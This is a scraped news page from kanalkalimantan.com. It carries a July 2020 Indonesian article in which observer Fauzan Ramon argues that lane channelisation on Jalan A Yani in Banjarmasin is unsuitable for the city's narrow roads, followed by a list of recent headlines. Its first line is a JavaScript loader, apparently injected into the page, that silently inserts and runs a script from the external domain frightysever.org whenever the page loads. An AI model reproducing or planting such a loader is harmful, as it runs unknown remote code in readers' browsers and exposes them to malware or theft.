(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Soal Kanalisasi Jalan A Yani Banjarmasin, Ini Kata Pengamat Kebijakan Publik


KANALKALIMANTAN.COM, BANJARMASIN – Kanalisasi jalan yang saat ini diterapkan di jalan A Yani Banjarmasin, rupanya dinilai pengamat kebijakan publik Fauzan Ramon tidak layak. Karena, sebagian besar jalan protokol di kota Banjarmasin tidak begitu lebar, berbeda dengan jalan protokol di pulau Jawa.

“Karena jalan raya di kota kita ini tidak seperti di pulau Jawa. Seperti di Surabaya, Jakarta dan Yogyakarta. Jalan kita ini kecil, ditambah dengan kanalisasi,” kata Fauzan saat ditemui di kawasan Banua Anyar Banjarmasin, Selasa (7/7/2020) sore.

Pengacara kondang ini berpandangan, kanalisasi tidak perlu diterapkan pada jalan protokol di Banjarmasin. Kendati begitu, ia menambahkan kanalisasi bisa saja diterapkan pada jalan protokol di kota Seribu Sungai. Hanya saja, ini diterapkan pada jam-jam tertentu dan yang terpenting tidak merugikan masyarakat sebagai pengguna jalan.

“Pada jam tertentu. (Misalnya) jangan pas sibuk-sibuknya, seperti jam kerja dan hari kerja. Masyarakat biasa menggunakan jalan raya itu sekitar jam 07:00 Wita,” tambah Fauzan.

Pemerhati kebijakan publik Fauzan Ramon. Foto: Fikri

Jika kanalisasi jalan lebih banyak merugikan masyarakat apalagi sering menyebabkan kecelakaan lalu lintas, menurut Fauzan, lebih baik tidak perlu diterapkan. Karena, jalan protokol di kota Banjarmasin tidak layak untuk diterapkan kanalisasi.

“Jangan dipaksakan. Menurut saya, kalau memang menerapkan kanalisasi, (tentukan) jam-jamnya maupun harinya. Jangan mengganggu masyarakat,” katanya.

Baca juga: Kanalisasi Jalan A Yani Banjarmasin, Roda Dua dan Roda Empat Dipisah

Karena Kota Banjarmasin sudah cukup padat, Fauzan berpandangan, seharusnya kendaraan berukuran besar seperti mobil tronton harus dibatasi untuk masuk ke jalan utama dalam kota. Selama ini, ia menyebutkan masih ada saja kendaraan besar yang masuk ke jalan utama dalam kota.

“Intinya, jalan (di kota Banjarmasin) sudah tidak layak. Sudah kecil, dibagi-bagi pula,” lugasnya.

Ia malah menyebutkan, tanpa kanalisasi pun, jalan di kota Banjarmasin masih cukup aman. Karena luas kota Banjarmasin cukup kecil. “Di sini malah repot kanalisasi itu,” pungkasnya. (kanalkalimantan.com/fikri)

Reporter : fikri
Editor : bie


Al Ghifari

Recent Posts

Rumah Penuh Air, Pak RT Mengungsi ke Rumah Tetangga

KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More

9 jam ago

Lonovila Menoreh Surga Tersembunyi di Perbukitan Menoreh

KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More

9 jam ago

Banjir di Komplek Antasari Perdana II Sungaitabuk, Akses Motor Lumpuh Total

KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More

9 jam ago

Bupati Banjar Bagikan Keperluan Warga Terdampak Banjir di Kelurahan Keraton

KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More

12 jam ago

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

18 jam ago

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

1 hari ago

This website uses cookies.